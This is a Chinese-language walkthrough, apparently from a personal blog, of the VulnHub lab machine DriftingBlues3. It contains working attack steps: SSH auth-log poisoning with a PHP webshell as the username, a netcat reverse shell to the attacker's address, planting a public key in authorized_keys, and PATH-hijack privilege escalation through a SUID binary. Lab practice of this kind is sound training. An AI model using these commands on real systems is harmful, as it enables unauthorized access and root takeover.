首页 > 其他分享 >vulnhub靶场渗透实战13-driftingblues3

vulnhub靶场渗透实战13-driftingblues3

时间:2022-12-07 16:58:04浏览次数:88  
标签:bin 13 公钥 driftingblues3 vulnhub 服务器 日志 ssh 客户端

​靶机下载地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova

vbox导入,网络模式桥接,靶机模式为简单。

一:信息收集

1;直接老样子吧,arp主机发现之后,nmap扫描端口服务。目录遍历。

  2;另请检查/littlequeenofspades.html

 源代码上发现一串密文。

echo aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== | base64 -d
echo -n L2FkbWluc2ZpeGl0LnBocA== | base64 -d

 

二;漏洞利用

1;ssh登录验证日志。前面说有毒,可能日志中毒。ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中。

ssh '<?php system($_GET["yang"]);?>'@192.168.1.40

 写入成功。

  那就反弹一下shell吧。反弹成功,没有权限,提升一下权限。

nc -e /bin/bash 192.168.1.28 1234

python -c 'import pty; pty.spawn("/bin/bash")' #交互shell

2;home目录下有个用户,想打开user.txt,但是没有权限,ssh文件可读可写可执行。


进到.ssh私钥,里面没有东西。有点奇怪,查看ssh配置文件/etc/ssh/sshd_config,发现可以使用公钥登入,并且给出了文件名/home/robertj/.ssh/authorized_keys。

 ssh服务公钥登录,主要流程为:

  1. 客户端生成RSA公钥和私钥
  2. 客户端将自己的公钥存放到服务器
  3. 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
  4. 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
  5. 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码​

 在本地生成密钥对。

ssh-keygen 在本地生成.ssh目录

ssh-keygen -f yan  生成这样的文件


​在目标服务器的 .ssh 文件夹下创建存放客户端公钥的文件 authorized_keys(默认配置)

 

  把生成的公钥上传到靶机上去。

把公钥信息写入目标文件

cat id_rsa.pub > authorized_keys

  ssh连接成功。注意一下这里,我在生成密钥对时,设置了一下密码,在生成密钥对时,可以不设置密码。

ssh 192.168.1.40 -l robertj -i id_rsa

三:提权。
1;第一个falg。

 2;命令劫持提权。

find / -perm -u=s -type f 2>/dev/null

 

3;利用linpeas.sh脚本查找bug。

大把的漏洞可执行。

 

  大概的原理就是 执行系统命令所以我们可以自行编写一个同名文件,
比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

export PATH=/tmp/:$PATH     把/tmp路径加入到系统路径中。
cd /tmp						
echo '/bin/bash' > ip		把/bin/bash写入到ip中。
chmod +x ip					增加执行权限
/usr/bin/getinfo

 4;第二个flag。

​ 

标签:bin,13,公钥,driftingblues3,vulnhub,服务器,日志,ssh,客户端
From: https://www.cnblogs.com/yang-miemie/p/16963553.html

相关文章

  • C++标准库笔记:13.4.3 Stream状态与布尔条件测试
    流条件测试inta=0;while((std::cin>>a)){cout<<a<<endl;}以上代码得以使用std::cin来做条件测试,是因为Stream在类ios_base内定义了两个可用于布尔表达式的函......
  • c++标准库笔记:13.4.4 Stream的状态和异常
    设置触发异常Stream缺省的情况下不抛出异常,但可由成员函数exceptions来设置这种行为。exceptions有两种形式:获取引发异常的标志(不带参数)设置引发异常的标志(带参数)//Thisme......
  • docker 1.13版本修改默认存储路径及添加私有registry
    1、服务器安装dockeryuminstalldocker-y12、修改配置文件方法1:编辑`/etc/sysconfig/docker`文件修改`OPTION`选项添加--insecure-registry=10.0.17.205:4000方法2......
  • Vulnhub之Y0usef靶机详细测试过程
    Y0usef作者:jason_huawen靶机基本信息名称:y0usef:1地址:https://www.vulnhub.com/entry/y0usef-1,624/识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Y0urself]└─......
  • lesson13 张量、计算图、会话
    #lesson13 张量、计算图,会话#搭建第一个神经网络,总结搭建八股#基于Tensorflow的NN:用张量表示数据,用计算图搭建神经网络,#用会话执行计算图,优化线上的权重(参数),得到模型。......
  • 力扣 leetcode 130. 被围绕的区域
    问题描述给你一个m*n的矩阵board,由若干字符'X'和'O',找到所有被'X'围绕的区域,并将这些区域里所有的'O'用'X'填充。提示:m==board.lengthn==board[i......
  • hdu5135 Little Zu Chongzhi's Triangles --状压dp
    原题链接:​​http://acm.hdu.edu.cn/showproblem.php?pid=5135​​题意:n根木棒,组成若干三角形,求最大面积和。分析:把所有木棒升序排序,可以组成三角形所有的的组合利用位运算......
  • Vulnhub之Rickdiculously靶机详细测试过程
    Rickdiculously识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Rickdiculously]└─$sudonetdiscover-ieth1Currentlyscanning:192.168.60.0/16|ScreenVie......
  • 131.palindrome-partitioning 分割回文串
    问题描述131.分割回文串解题思路利用动态规划来判断字符串是否是回文串:-if(s[i]==s[j])dp[i][j]=dp[i+1][j-1];这里遍历的时候要注意i的遍历顺序;最后考......
  • hdu1300 Pearls--DP
    原题链接:​​http://acm.hdu.edu.cn/showproblem.php?pid=1300​​一:原题内容ProblemDescriptionInPearlaniaeverybodyisfondofpearls.Onecompany,calle......